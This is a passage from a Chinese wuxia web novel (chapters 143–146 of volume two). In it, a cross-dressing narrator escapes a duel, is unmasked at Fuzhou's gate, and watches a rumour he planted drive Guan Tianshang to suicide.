我拔出九郎剑,快步冲了上去。管天下双手由下而上正欲拍出第二掌,应当是察觉到了我从他身后发起突袭。他身子一转,转身向着我将两条水龙推了过来。 我急忙刹住脚步,两条水龙正以惊人地速度向我拍来。 刀枪剑戟,斧钺钩叉。可以说,十八般兵器,任凭是什么高手,我都自信可以凭着那十一招剑法与之对阵几个回合。 然而,这时飞来的却是两条水龙。 以天下至柔克天下至刚。 锋利的九郎剑,任凭它再怎么锋利,却如何能斩得断水? “这招要怎么接?”我焦急地自言自语。 水龙飞到我跟前,我仍然没有想出应对的招式。但我下意识的挥剑,画剑成盾护在我胸前。 “轰!” 水龙撞上剑盾,发出似要震彻天地的声响。我感觉自己被一股极为霸道强劲的力量推搡着一直向后退去。 两条水龙被我挡下,我已经被它推搡着向后退了十几米远,胳膊一阵酸痛。 “你是谁?引我到这里来到底有什么阴谋?”管天下冷冷地问。 我说:“你不必问,我不会告诉你的。” 管天下忽然愣住了,他疑惑地将我从头到脚打量了一边,说:“你,你竟是个男人?!” 糟糕! 我与管天下对阵之时有些乱了方寸,竟一时忘了自己仍然是男扮女装。 管天下怒气更胜,双眼中闪着凛凛地杀气。他大声吼道:“你到底是谁?!” 我不知如何回答,只得沉默不语。管天下大吼一声,双手翻动,“哗哗”两声又是两条水龙飞起。与方才不同的是,两条幻化而成的水龙的头颅见,隐隐约约的竟暗藏着两柄锋利的短刀。 这是杀招! 我登时惊出一身冷汗,连退两步,画剑成盾,切断水龙的来路。 “当!当!”两声。 短刀撞击短剑发出的声响隐没在水中听起来却不如以往的兵器撞击声那么清脆悦耳,然而,其中所传递出来的劲道,却着实让我难堪忍受。 整个胳膊,从虎口到肩胛骨,一震麻木的刺痛,几乎要失去知觉。 两柄短刀倒飞回去,管天下双手摊开,稳稳接住短刀,左右各划一刀,亮光一闪,在我面前摆开了双刀架势。 “嗖!” 管天下刚刚站定身子,只听得一声划破苍穹的声响从他侧身向他飞去。管天下耳目锐利,瞬息便捕捉到了异响,双刀一挥,“当”的一声脆响,空中闪烁起星星点点的火光。 仿佛是一枚金钱镖! “嗖,嗖!” 两镖连发,我循声望去,只见王慈心手捏兰花指,两只手的拇指与中指之间各压着一枚金光灿灿的铜钱。 “你疯了!”管天下厉声咆哮。 王慈心却没有停手的意思,她双手同时捻动,两枚金钱镖同时脱手飞出。管天下双刀冷冷一切,两声脆响,两枚铜钱被斩成四段。 “愣着做什么?还不快走?!”王慈心竟侧头冲我喊了一句。 她竟然在救我? 为什么她会救我? “是想死在这里吗?快滚!”王慈心再次向我吼道。 管天下满脸愤怒,大声吼道:“不能让他走!今日之事绝不能传将出去!”说罢,他挥刀向我冲了过来。 “快走!”王慈心大喊一声,同时又是两枚闪亮的金钱镖飞出,截住了管天下的来路。 管天下侧身闪躲。我趁机调转身子,拼尽全力冲入树林之中,一路上风声疾呼,许多树木的枝蔓垂下,打得我脸上火辣辣地疼痛。 我强忍着,一路狂奔,直到自己都觉得跑出去足够远了,我才停下脚步向后张望...... 第二卷 武林盟的开始与结局 第一百四十四章 高手 1. 这世间有太多事让人意想不到。我就算是死也不会想到,生死危机时刻出手帮我的,竟然是那个一直被我蓄意设计的王慈心。 逃出那片树林之后,我心存愧疚。然而,一切既然已经按照原定的计划发展起来,便已经没有了再去后悔的余地。 接下来,我首先要做的,便是去寻找李小谦。 他已不知所踪,甚至是不知死活。 夜间,福州城城门紧逼,我无法再回去。我想,既然我进不去福州城,那么李小谦也断然没有可能进去。思前想后,我决定先去一趟柳家庄,或许李小谦跑出树林之后,会在那里等我。 除了抱着试试看的心思去找李小谦,我去柳家庄还有另外一个目的,便是我还想要去看看,管天下那一掌掀水化龙的功夫之下,柳家庄一伙毛贼还活着多少。 夜越是静谧,越显得漫长。 而人心之中若有了许多挂念的事,原本漫长的夜晚会变得更加漫长。 虽然只有几里的路程,我感觉自己像是走了很远很远。看着村口石碑上歪歪斜斜的柳家庄三个大字,我脚步放缓,心里又是一阵挣扎——我渴望事情按照我和李小谦所计划的那样发展下去,只有这样我才有可能化解管天下给这个江湖所带来的危机。而我却又不愿事情继续发展下去,走到这一步,已经有许多人无谓的牺牲掉了,继续下去,不知还会有多少人牵涉其中…… 若真的如我们计划的那样,管天上废掉管天下,自己接任双刀门的门主。那这样一场门内之争又会有多少我无法估计的死伤! 虽然犹豫挣扎,虽然走得很慢,但我还是一步一步地越过了那块刻着柳家庄字样的石碑。 刚刚潜入柳家庄,我便听到一阵阵凄厉的哀嚎。远方有窸窸窣窣的人影,他们手中皆是火光摇曳,将一小块地方照得通明。 地上躺着三具死尸。除去几个不认得的村民,哭得最为惨烈的便数柳大壮。 他正爬在地上,抱着一具尸体,朝天哀嚎:“我的兄弟唉……” 情感之悲切,哭声之凄惨,让隐在暗处的我,心中不免一阵酸涩。 忽然,柳大壮豁然站了起来,他双眼中燃烧着熊熊的火焰,指着天大叫:“管天下!你杀我兄弟,就算是豁出去性命不要,我也叫你身败名裂!” 齐活儿! 看样子,我不必在操心这群见证人会不会将所见所闻传播出去。因为,从柳大壮的悲愤中我已感觉到,他不仅会说,而且还会添油加醋地说。 只是…… 一想到无辜受害的王慈心,我的心里只感觉一丝抽搐般的疼痛。更何况,她刚刚救过我性命,而我却亲手将这个无辜的女人推向了这场争斗的风口浪尖。 也许这就是命吧! 我叹了口气,就这样安慰着自己。 这一夜我隐藏在柳家庄,听着村子里不断传来的阵阵哀嚎哭泣声。听着我亲手给别人带来的痛苦的回响,这一夜未眠,只孤身在暗处,纠结着,静静的等待着天明…… 2. 拂晓。 苍穹褪去漆黑的夜纱。哭了一夜的村民,或许是累了,他们已许久没有发出一丝声响。陡然之间,一声鸡鸣,几声犬吠,许多家院落里传来叮当咣啷的琐碎声音。不消一刻功夫,多处屋顶上升起袅袅炊烟,与东方泛红的朝霞呼应着,一同勾勒出一幅绝美的画卷。 若非是这一切的始作俑者,若非是昨夜亲身经历了所有的事情。谁会想到,这样缱绻的清晨,朝阳晨曦之下的小小村落里正承受着许多的悲伤。 我叹了口气,怀着愧疚离开了柳家庄。 经过了昨天一整夜的折腾。我身上的这身女装以便的凌乱松垮,原本被李小谦篦得整整齐齐的头发,如今也是乱作一团,几缕杂丝垂下,上面还沾着一些泥土和干草,像是刚从草地里滚过一般。 挤在入城的队伍里,我心绪烦乱,无暇整理自己,只是木讷地看着前方,心里只想着快些进城,快些找到李小谦。即使得不到他的一两句安慰和鼓励,哪怕是被他骂一句“怂货”、“傻逼”,也好过我一人在这里胡思乱想。 “哎呦!好俊俏的娘子!这是糟了什么难了?!” 我侧目而视,只见身旁一个年过半百的老妪,手提着篮筐,正向我投来怜悯与关切的目光。 “可怜见的姑娘,你是不是碰到什么歹人了?”一个头发花白的老者,肩上挑着沉甸甸的扁担,压得他原本有些佝偻的身子成了一个虾型。 老妪的手在老者腰间捅了捅,递给他一个略带责备的眼神。 “你个死老太婆,你捅我作甚?!”老者瞪了她一眼,满脸不悦。 老妪一副气急败坏的模样,一拳捶在那老者的肩膀上小声骂道:“姑娘家就算碰到什么难处,是你个糟老头子能随便开口去问的吗?再说,这福州府的官老爷们一向管得紧,哪里来得什么歹人?!” “管得紧?”老者不以为然,“就是因为管得太紧了,那些城里的花花公子没地方发泄,没准儿就会跑出去祸害良家姑娘。” 老妪狠狠地在那老者身上掐了一把,飞快地瞥了我一眼,随即把目光挪开,瞪着老者,喝道:“你这臭嘴也没个把门儿的,人家姑娘还在这里呢!” 老者脸色一变,歉意地向我点了点头,满脸的懊恼与尴尬。 老妪拉着我的手,说:“姑娘,你别听着糟老头子瞎说。你要是真的碰到什么难处,只要我老婆子能帮得上的,你尽管开口便是。” 这一对善良的老夫妇在我眼中如同是散发着神圣的光辉,让我烦乱得有些发堵的心瞬时间疏通了不少,这是我在这个燥热的夏夜至现在感受到的唯一一丝温暖。我以一个饱含谢意的微笑作为回应,说了一句:“我没事,谢谢。” 万万没想到,我刚一开口,两个人…… 不!华夏中文 不只是那对老夫妇,而是周围所有的人都愣住了。他们纷纷以一种怪异的眼神看着怪异的我,如同是看到了什么奇珍异兽一般地惊讶。 “这人是男是女啊?” “听声音是个男的!” “男人怎么会穿了一身女人的衣裳?” “你看她肤白肉嫩的,应该是个女的,只是嗓音粗了些而已。” 众人开始全然无视我地议论起来。 我尴尬至极,正欲转身离开,忽然感觉有一只手从我屁股后面掏了过来,在我两腿中间向上一摸…… 我急忙加紧双腿,那只手如同受到了惊吓一般地快速抽了回去,我向前一跳,转身正要骂人,却见是一个莫约七八岁的孩童举着一只手,满脸兴奋地冲着他身边的妇人大叫:“娘亲,这个大姐姐有鸡…鸡……” 他娘的!他若不是一个懵懂无知的小孩,我只怕已压制不住满腔的怒火,就要冲上去捅他两剑! 可他却是一个小孩! 一个年幼无知的顽皮幼.童! 我愤怒却无可奈何,只得强忍着低头,向城门处走去。 那个小男孩喊完之后,周围的人已如锅里沸腾的水一般。那一刻,我仿佛是有了强大的神力一样,迈出一步,前面的人便惊慌地向后退两步,为我让开一个足足七尺宽的过道儿。我便一路畅通无阻地走到了福州城门口。 “站住!” 一个头头模样的衙差手扶着刀柄摇摇晃晃地向我走来。他那双如鹰一般锐利的眼睛对着我,上下一阵打量,让我不禁心头一颤。 “刚才你那边怎么回事?”那衙差头头如同审犯人一般地问我。 我低着头,不敢再开口说话。 “问你话呢!”衙差头头厉声喝道,“刚刚那里发生了什么事?为何都给你让开道路?!” 我依旧没有回答。 衙差头头暴怒:“他娘的,装聋作哑!别以为你是个女子我便拿你没辙!”说罢,雪白的刀刃移出刀鞘寸余,向我射来冷冷的威胁。 “官爷!他是个男的!”人群中不知是谁多了一句嘴。衙差头头满脸的诧异,不敢置信地说了一声:“男人?!” 他狐疑地盯着我,左右看了半晌,突然脸色大变,身子向后一挫,长刀“仓啷”一声拔出,大叫道:“快来人呐!他是那夜闯城门的反贼!” 周围等候入城的百姓惊叫着四散而逃。那名挑着扁担的老者没成想竟是个跛子,他挑着扁担,向后逃走时一跳一跳的更像极了一只在水里游曳的虾。 “死老头子,没看见要打起来了吗?扔了这没用的东西快跑!”老妪焦急地在他身边催促着,她扔了手里的篮筐却一步没走,贴在那老者身旁,将那沉甸甸地扁担帮他从佝偻地身子上卸下。 两只苍老的手,轻轻一握,一同奔向了如同日暮一般的朝阳。 3. “大胆反贼,还不快快束手就擒!” 我被十几个衙差团团围住,衙差头头提刀劝我放弃抵抗。我冷静地对他笑了笑,不紧不慢地抽出九郎剑。 对付不了管天下,我还对付不了你们?! 剑光闪动,我平举短剑杀向那衙差头头。还未等他作出什么反应,九郎剑已逼近他的咽喉。 一剑封喉吗? 剑尖再行两寸,他必死于我的剑下。便是在这一念之间,我犹豫地向左一偏,将剑锋错开了他的脖颈。 也是在这一偏之虞,亮光一闪,一柄长刀从侧方将我的剑挑开了。 看似是轻巧的一挑,却在刀刃间传出一股强劲的内力。九郎剑与其说是被刀刃挑开,倒不如说是被那股强劲的内力所震开的。 因为,刀与剑并没有撞出一丝一毫的声响。 我急忙转头,看见的是一双若寒冰一样冷峻的眼睛。他双手攥着刀柄,提刀立于耳畔,身子缓缓沉下,看那架势,正是在准备着随时对我迎头一击。 这是高手啊! 我忽然有些疑惑。怎么福州府的衙差功夫如此良莠不齐? 那日夜闯福州城门时遇到的那群衙差,虽不是什么拔尖儿的高手,却也是个个武功不凡,完全不像是一般衙差的身手,更像是江湖上一些门派里习武多年的弟子。 刚才我一剑刺出,那个衙差头目竟然没能作出一丝一毫的反应,足可见武功之低微简直可以忽略不计。 而眼前这人,这个能已内力震开我剑的人,他的内力之精深,武功之高强,绝然可以跻身江湖一流高手之列。 这个人是谁? 以他这样高强的武功,又怎么会屈居在这福州城里,只是做一个看守城门的衙差? 我想不明白…… 第二卷 武林盟的开始与结局 第一百四十五章 消息 1 福州城外。 城门就在眼前。原本是一个城外人匆忙排队进城的早晨,却被一个衣着凌乱,仿佛是刚刚遭过强人欺辱的女子搅得一片混乱。 偏偏让人觉得可笑的是,这个衣着凌乱,曾引起路人怜悯的女子,却是一个办了女装的男人。 我就是这个男人。 可恶的李小谦!他的这个易容改貌的破主意,本来要帮我躲过官府的追捕,如今却也被一个目光锐利的衙差头头瞧了出来。不仅如此,还在福州城城门口制造了这么一场不小的混乱。 十几个围着我的衙差自建了我差点一剑杀了他们的头头之后,个个面带惊恐地向后退却。 “蠢货!” 衙差头头在我剑下捡了一条小命,此时正面无血色,连滚带爬地远离我。直到距离我足足有七八米远,他才勉励站直了身子,冲着场上的许多个衙差大吼大叫道“别他娘的往后退!给我上!给我上!” 所有的人在他说话间又后退了几步。只有一个人,他岿然不动,双手提刀立于耳畔。 如寒冰镜面一般雪亮的刀刃,倒映着他那双凌厉如刀的眼睛。 “你是谁?”我抑制不住心里的疑惑,开口问他。 他没有回答我,只是换了一个拿刀的姿势,脚尖儿悄然向前点了几寸。 “你到底是谁?”我仍不死心。 他不仅没有告诉我他是谁,反而冷冷的问了我一句“你到底还打不打?”说完,他又将刀举到身子另一侧,说“这刀很沉,我举得都累了!” 我说“我要进城找人。” 他说“你是官府通缉的反贼。想要进城,除非你打得过我!” 看来,这一战是躲不过了。 我没有再多说一句,撩起剑便冲了上去。其他的衙差掉头跑来数米,给我二人让出足够的空间较量。 刀剑交错,在这个已明亮的早晨,迸发出更加如映雪一般的光芒。 他的刀法力大刚猛,招式扑朔迷离。几招下来,竟让我全然摸不清他的套路。更让我感到无措的是,他隐藏在每一招中所发出的内力,都让我经脉震荡,血气翻涌。 “好强悍的内力!” 我还没有说什么,那人竟然满脸惊讶地喊了一句。 “你是在说我吗?”我不解地问。 他眉头一皱,表情很是诧异。他说“你我二人打了十几个回合,不是说你,难道还有别人?!” 我低头看了看自己的双手,依旧是我所熟悉的那个模样。 强悍的内力? 何从谈起? 我说“我没什么内力!” “不 可能!”那人说道,“我这破风刀法须以精纯刚强的内力催动,一般人与我对个三两招便会被震得口吐鲜血。刚刚你接了我十几招却仍能安然无恙,若非你内力精深,又是怎么做到的?!” 我想起那日在闽赣交界的小镇,我救下那落难少年的一幕。或许是从你那时起,我的身上陡然间有了许多的变化。总觉得身体充盈有力,以往竭尽全力也难做到的事,如今却会轻而易举地做过了头。 如果这就是那人所说的强悍的内力,那这内力究竟是什么时候钻到我身体里的呢? “牛耕田!不要废话了,快他娘的抓住这小子。哥们儿几个今天的酒钱,就靠你了!”衙差头头扯着嗓子喊道。 牛耕田?! 我将江湖中数得上的高手快速回想了一遍。然而,这样厉害的人物,却在江湖中从未有耳闻。 牛耕田冲着衙差头头重重地一点头,粗声说道“好嘞!”说罢,他再度提刀。这次他并没有等着我先出手,而是主动提刀向我扑了过来。 刀光闪烁,剑影晃动。顷刻之间,又是十几招不分上下的较量。 刀越来越狠厉,直到后来,牛耕田或许是打红了眼,出手竟都是要命的招式。他招式之中所发出的内力也越来越霸道凶猛,震得我不仅血气倒腾难以抑制,而且周身几大穴道犹如锥刺一般地疼痛。 忽然,他刀刃回收到腰间,身子飞速地旋转,像陀螺一样地转了起来。刀锋如同能切断空气一样,将打碎的空气席卷成一道漩涡,夹带着沙石向我打来。 我见这招式实在太过厉害,不敢硬接,只得连连后退。没想到,那漩涡速度极快,陡然之间快去魅影一般。我轻功不好,根本无法闪躲,情急之下,只得双足点地,跃上半空。 凌空的一刹那,我低头向下看。那漩涡就在我正下方,四周是一片密不透风的沙石,模糊一片,将牛耕田的身子包裹得严严实实。但漩涡的中间却可以明明白白,清清楚楚地看到一颗正在飞速旋转的脑袋。 我心中大喜,如同是浸泡在无边死海中发现了救命的舢板一样。我在空中一翻,九郎剑剑尖儿朝下,从天而降,直插牛耕田的颅脑。 然而,剑还未落下,牛耕田却已经倒在了地上。 他口吐白沫,两眼翻白,身子一抖,一大口污秽之物从嘴里喷了出来。然后,他迷迷糊糊地念了一句“晕死老子了!” 头一歪,牛耕田晕了过去。 这样的结果准时将我看傻了,我站在他身边,用脚尖儿试探着踢了踢他肩膀。 牛耕田一动不动。 这场几乎是生死攸关的较量,竟 然因为牛耕田旋转得时间太长而晕倒告终。 结果如此让你猝不及防。我抬头看四周的衙差,他们傻愣愣的表情忽然一变,惊慌地四散而逃,一眨眼的功夫不见了踪影。 2 我本想一剑杀了牛耕田。毕竟他给我带来了太大的威胁。若他日我再碰见这个人,我不能确保还能像今日一样侥幸逃过。 然而,剑落在牛耕田心口上半寸的地方,我却如何也刺不下去了。 这毕竟还是一条活生生的人命啊。 我叹息一声,收了九郎剑,转身跑进了福州城。那时我并不知道我的心慈手软是对还是错。但当我很多年后,回忆起那未曾落下的一剑时,我仍然为当时那个珍爱生命的我感到高兴。 生命,于这个世间意义非凡。 一路不曾停歇,我跑进了一直住宿的那家小客栈,确定与人跟踪以后,我一把掩上了客栈的门。 店老板闻声从屋没走出来,开口笑道“这位姑娘……”他随机一愣,表情变幻,长嘘一口气,说“是你呀,客官。” 我问“那个人回来了吗?” 店老板问“哪个?” 我说“和我一起的那个。” 店老板哦了一声,说“没有,一直没见到人。” 奇怪!李小谦到底去了哪里? 难道,他在树林中遭遇了不测?又或者是,他被管天下化水为龙的掌法击中,当场丧命了吗? 我的心骤然紧张起来。 店老板对着我打量了一翻,说“客官,你是不是遭遇了什么歹人?怎么被糟蹋成了这个模样?” 我愤怒地冲他吼了一句“少废话,快给我打盆水送到房间!” 店老板一脸坏笑,说“客官要梳妆打扮,恢复美貌?” 我啐了他一口,喝道“老子要当男人!” 3 换下自己的衣服,做回了一个堂堂正正的男人。我心情忽然间畅快了许多。 然而,这丝畅快并没有在我心中停留许久。很快,我便陷入了更加沉重地忧虑。 接下来的事情会变得怎么样? 李小谦他还活着吗? 我还要做些什么? 我就想一个手足无措的孩子,在房间里辗转徘徊,时间便在我来回踱步与胡思乱想间悄然流逝。 转眼已过了两个时辰。 门忽然被推开了。店老板端着两样小菜走了进来,他笑着说“客官还是男子装扮看着顺眼,英俊少年,仪表堂堂啊!” 若是以往,我听到这样夸张的赞誉,只怕当即便会高兴地笑起来。而这时,我却一点也高兴不起来,甚至觉得 有些烦躁。 我说“没什么事就出去吧!” 店老板一脸不悦,悻悻地点头离开。他一只脚踏出房门,似乎是突然间想到了什么,又转身走了回来。 “你还有什么事?”我心烦意乱,说话的语气连我自己都觉得生硬。 店老板并没有太多在意,他说“客官,我觉得这件事你应当是十分感兴趣的。” “别啰里啰嗦!”我更加烦躁,“有什么事便赶紧说出来。” 店老板说“方才,我听人说,管天下与他那年轻貌美的嫂子有奸情,并在昨夜被人当场撞破!” “什么?!” 我心头一震。这消息竟然传播得如此之快,看来柳大壮这次真的是横了心要将管天下搞得声名扫地,身败名裂了! “九成是真的!”店老板小声地说,“福州城私下里许多人都在传,说得有鼻子有眼的,连他们通奸的位置都说得真真切切。那个地方我去过,虽不是什么景色宜人的地方,但可真的是偏僻的很,乃是个私通幽会的绝佳之地呦。”越往后说,他语调越是不正经,最后竟满脸都是心驰神往的意味。 “我知道了。”我说,“你出去吧。” “你知道?”店老板疑惑地看着我,说,“你一上午都没出房门,是怎么知道的?” 我没有再理会他。店老板自己愣了片刻,表情有些尴尬,咳了两声,喃喃道“什么知道了,分明就是不想给赏钱,胡乱搪塞。” 他掩上房门的一刻,屋里顿时又如同死一般地沉寂。 令人窒息的安静。 我听到自己愈加沉重的呼吸声,还有那充满迷茫的心跳,头脑中已经是一片空白! (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百四十六章 结果 1. 不到一天的功夫。管天下与王慈心的“奸情”已在福州城中传得沸沸扬扬。 多数人惧怕双刀门及管天下的厉害,不敢在明面上议论。但在街头巷尾,总能见到几个围在一起的妇人,一脸凝重地低声说着什么。当有人经过的时候,她们立时止住交谈,装作是若无其事的模样东张西望,当人从她们身旁走过的时候,她们又迫不及待地把头笼到一起,小声议论,时不时地露出嫌弃与鄙夷的表情。 当然,也有一些家世显赫的豪门公子哥,多在奢华富丽的茶楼酒馆中无所顾忌地大声调侃。 “想不到,王慈心那娘们儿还是个性情放荡的主儿。早知如此,我便去主动调戏一番了。说不定,昨夜树林中唱主角的就是我了呢。” “李兄你现在去也未尝晚矣。说不定昨夜那小娘子未能尽性就被人搅了好事,此刻正在家里郁闷着呢!” “也难怪啊。你看那王慈心娇艳欲滴的模样,不知需要多少雨露浇灌。那管天上也是年过五十的人了,只怕早已经是腌过的萝卜,滴水不出喽!” “哈哈!王兄说得有理啊!管天下正当壮年,正是江河湖海,取之不尽的时候。都说肥水不流外人田,他流到自家嫂子地里去浇灌浇灌,管天上还不知道要怎么感激自己的亲弟弟呢!” 几个人笑声肆虐,引来周围一群客人的注目。 我坐在角落里,埋着头,听着这群富家公子对王慈心的公然侮辱,心里莫名地涌上一阵怒火。 可转念一想,造成王慈心名誉扫地的罪魁祸首,却是我自己。 即便是恼火,那我恼火的人也只能是我自己。 “嘭!” 一声拍桌子的响声,将喧闹的茶馆登时震得异常安静。我悄悄转过头去看,只见一个身材魁梧的汉子正满脸愤怒地站在那几个富家公子的桌前,一只手按在桌面上,厚实的木头桌面已深深地凹下去一个掌印。 那汉子正是前几日傍晚,在百里客栈中与管天上交谈的人。他的眼睛瞪的就像核桃一般大小,冷冷的扫过桌上的几个人,带着森然的杀气。 即便是这样,那几个富家公子仍旧是面不改色。 “我当是谁呢。”一个穿着金丝锦缎的年轻男子以一种极为不屑的口气,说,“原来是双刀门的高猛高大总管。” 高猛怒气更浓,两眼猩红的光芒闪动,他冷冷地说:“你们几个再敢胡言乱语,口无遮拦,当心老子对你们不客气!” “呦,呦,呦!”另一名身穿白衣裳的男子嚷道,“双刀门的恶狗要出来咬人了?” 高猛一把抓起那白衣男子的衣襟,喝道:“你说什么!” 白衣男子忽然显得有些慌乱,他说:“你,你要做什么?你可知老子的舅父乃是这福州的知府,你敢对我动粗,当心你们双刀门吃不了兜着走!” 竟几名男子纷纷站了起来,围住高猛,瞪着眼睛盯着他。 高猛的拳头猛然提起,白衣男人登时脸色煞白。然而,那拳头在空中停顿了许久,却始终没有挥出去。 白衣男子恢复了一副趾高气扬的姿态,用力掰开高猛的手,向前一步,说道:“你打我呀!我量你也没有这样的狗胆!” 高猛化拳为掌,狠狠劈在桌子上。敦实的木桌“咔啦”一声裂成两半。高猛瞪了一眼那白衣男子,一字未说,转身离去。 白衣男子更加嚣张,他站在原地又跳又叫:“狗东西,你唬谁呢?!快滚回来,给你爷爷讲讲清楚!” …… 白衣男子骂了半晌,回身一看,好端端的桌子已被高猛一掌劈成了一堆烂木头。随即转身冲着空空的门口又是一通叫骂:“他娘的,拍烂的桌子得让你们双刀门赔,老子可不替你这狗东西掏银子!” 2. 直觉告诉我,那叫高猛的汉子一定会去见管天上。 我悄悄跟在他身后,左行右绕,一路来到百里客栈。客栈里空空荡荡,只有管天上已经坐在靠窗的位置。他那满脸的刀疤已将他的表情遮盖的严严实实,看不清是怒是悲。 高猛站在门口,向堂中一扫,目光落在管天上身上,径直向他走了过去。 我见客栈中空空荡荡,若是跟进去只怕会引起他们两人的警觉,便调转回去,绕到窗户边上,蹲下来偷听。 “大哥!你可知道……”高猛语气又急又怒。 “好了。”管天上喝止高猛,继续说道,“都是没影儿的事,不必太放在心上。” “可是这福州城里到处都是风言风语!人言可畏啊!”高猛说。 “就让他们说去吧。”管天上语气黯然,“我也是经历过许多风浪的人,到了这把年纪,已没有多少事可以扰乱我的心神。” …… “况且,我相信慈心的为人,她应当不会作出这种不守妇道的事。”又是管天上的声音,他虽然这样说着,但我总感觉他这话说得有些底气不足。 “你相信她?!”高猛怒道,“大哥,事到如今,有些事我不得不说了。你数十年来饱受刀伤之苦,每隔三日便要到老宅浸泡药浴。你可知她每逢你去浸泡药浴之时都要趁夜外出。起初,我虽有疑惑,但想到她寄居我门中已经多年,为人还算本分,便一直没有深究。如今却传出了这样的事情……真是……真是奇耻大辱!” “好了!”管天上大吼一声,满是悲痛,他说,“天下……他也不会对不起我!”他的声音里已没有一丝自信可言。鱼鱼 “管天下?!呸!”高猛越说越急,“你拿他当兄弟,他可能认过你这个兄长?!这些年,你在暗中帮了他多少,他却无时无刻不在防备着你!他根本就没有把你当做兄长!” “不,要,再,说,了!” 可以听得出,管天上已经痛苦到了极点,我仿佛听到他拳头紧握时骨骼间发出的脆响。 “我偏要说!”高猛低声吼道,“昨夜,我亲眼所见,他们一前一后出了福州城。坊间所传有人亲眼所见之事,我也亲自前去柳家庄探查。那里一共有三具死尸,外表与一丝一毫的伤痕,心肺却被震得稀碎!” “什么?!此话当真!”管天上忽然惊叫了一声。 “千真万确!”高猛说道,“我亲眼所见,岂能有假!” “天上他竟然练了幽冥功!”管天上悲愤到了极点,他一掌拍响了桌子,狠狠地说,“他竟然敢修炼这种邪门武功!疯了!他真的是疯了!” “大哥,管天下他目无兄长,野心勃勃,修习门中禁术,伤天害理。如今,如今又做了这种有悖伦理纲常的腌臜事……这已是人神共愤,天理难容……大哥,你不能再忍了!”高猛悲急交加。 “他,他可是我亲弟弟!”管天上声音更加嘶哑。 “我高猛虽是管家的下人,却身受老门主大恩,此生难忘。为双刀门百年基业,即使背负弑主不忠的千古骂名,我也在所不惜!大哥,只要你肯应允接任双刀门门主之位,我便一人背下所有罪孽,绝不连累大哥!”说到最后,高猛竟带着哭腔,情真意切,感人肺腑。 然而,管天上沉默了许久许久。直到高猛又重重地喊了他一声“大哥”,他才仿佛是抽尽了所有的力气一般,近乎是以绝望之人的语调说了一句:“无论如何,他毕竟是我的亲弟弟!” 哀大莫过于心死!管天上如同丢了魂一般,踉跄着离开了百里客栈。 我蹲在墙角处,望着他失魂落魄的背影,心里因为怜悯而内疚,却也因为内疚而更觉得他可怜。 从他的落魄里,我隐约还可以想象出方面那个意气风发,桀骜不驯的少年。他名动江湖,曾是双刀门里无限的希望。他曾临近绝顶,万丈荣耀唾手可得。他又单枪匹马杀入风雷,身受千刀之苦却顽强地活了下来。 一念之差,他的一生荣耀尽毁。 而这一念的差距,却是为了固守那“互砍九百九十九刀不可还手”的千金一诺。 他这一生的荣耀,毁得让人肃然起敬。 3. 一夜之后。双刀门白绸高挂,悲声四起。 管天上自杀了。 回想起那个一直在痛苦之中挣扎的男人,他那满脸的刀疤陡然间如同是一刀又一刀地剌在了我的心口。 为什么会是这样的结果? 我只是想要粉碎管天下造反的阴谋,还这个江湖一个太平。结果,却害死了那么多人。 我只是想向白景行那样,做一个真正的武林盟主,受人尊崇敬仰。结果,却搞得人心尽失,成了孤家寡人。 我只是想起了王慈心说那个林中的潭水可以洗去烦恼忧愁,所以想去那里泡一泡。结果,却正好碰见了王慈心怔怔地现在潭水边上。 我到底做错了什么? 为什么我做得许多事结果都不能遂我心意? “对不起。”我没有躲避。发自内心的愧疚,让我在王慈心的身后郑重地向她道了一个歉。 “对不起什么?”王慈心转身看着我,她的脸上如此刻林中的潭水一般,没有波澜。 我说:“是我害了你们。” 王慈心一怔,忽然一声苦笑,说:“原来是你。你就是那夜在潭水边与管天下对决的白衣女子。” 我说:“不错。是我。是我把管天下引来的。” 王慈心“哦”了一声,没有再说话。 她的反应让我诧异,我问:“你不怪我?” 王慈心苦涩地一笑,说:“怪你做什么?这样的结果对我来说并不算得坏。” 我问:“为什么?” 王慈心眼波流动,似乎是遐思无限,情感不断变幻,她说:“我这一生寄人篱下,为了报恩我断然拒绝了所爱之人,委身嫁给了天上。其实,从那一刻起,我的心就已经死去了。如今,天上走了,我虽然以不洁之名被逐出了双刀门,却也因此获得了自由。”她深深地吸了一口气,仿佛这空气里蕴藏着甜蜜一般,她变得十分贪婪,又吸了几口,说:“我已经很多年没有这么轻松过了。” 看着她的样子,不知为何我竟然轻松了许多。我说:“谢谢你那天救了我。” 王慈心的脸上略过一丝痛苦,她说:“我那日故意放你离开,就是想要你把那件事传扬出去,我以为那样管天上他就可以休了我!但是,但是,我万万没想到,他会自尽……我,我……”她忽然陷入了极度的悲痛之中,自责地捶着自己的胸口,一张纸飘然从她袖口中落下,落在我的脚边。 我捡起那张纸,捧在手心,只见那洁白如雪的纸面上,赫然写着:“问世奸情为何物,真叫人生不如死!” (各位读者大人,第二卷临近卷终,第三卷仍在构思之中。我注册了一个微信公众号,搜索“苇孜”,里面有微信群的二维码,有兴趣的可以进来,我们一起讨论一下第三卷的剧情啊…) 第二卷 武林盟的开始与结局 第一百四十六章 决斗 1 问世奸情为何物,真叫人生不如死。 这是管天上的临终绝笔。了了的几个字,可以看出管天上对王慈心的情深意浓。情之愈深,痛之愈切。 管天上含恨自尽,如同一根刺一般深深地扎在我的心里。 王慈心从我手中将管天上的绝笔书抢了过去。她捧着手心,一滴晶莹的泪珠悄然滑落,滴在雪白的之上。 墨迹蕴散,王慈心眉头一皱,将那张绝笔书撕得粉碎。 我说“接下来你有什么打算?” 王慈心拭去眼角的泪水,深深吸了一口气,缓缓地说“到处去走走吧。这个世间我已没有什么牵挂了,早晚都是一死,不如四处去看看,只等临死之时不留下许多遗憾就好。” 王慈心走了。 她得到了她一直渴望的自由,却也给自己戴上了更深的枷锁。 孤独与绝望,悔恨与内疚,即便是她置身于天涯海角,这些沉重的桎梏,只怕她永远也无法脱去了。 2 又三日。 管天上大丧已毕,双刀门上下似乎突然之间便从悲痛之中抽了出来。 双刀门庄严气派的大门前,搭起了一人多高的台子。有人议论,莫非是双刀门大丧刚毕便要公开搭台唱戏吗? 然而,没有多少人知道。这个刚刚从悲伤气氛中抽出来的双刀门,即将主持见证一场早已约好的生死决战。 龙虎帮帮主周望安对战往生堂堂主何白旗。 江湖十大门派之中的两大门派掌门人的生死较量,若是传入江湖之中,即使比不上当年西子湖畔的风云之战,却也应当是轰动武林的大事。 然而,这场对战,并未在江湖上传扬开来。 大战当日,双刀门门前并不热闹。除了往生堂与双刀门两派的弟子外,并无他人等候。 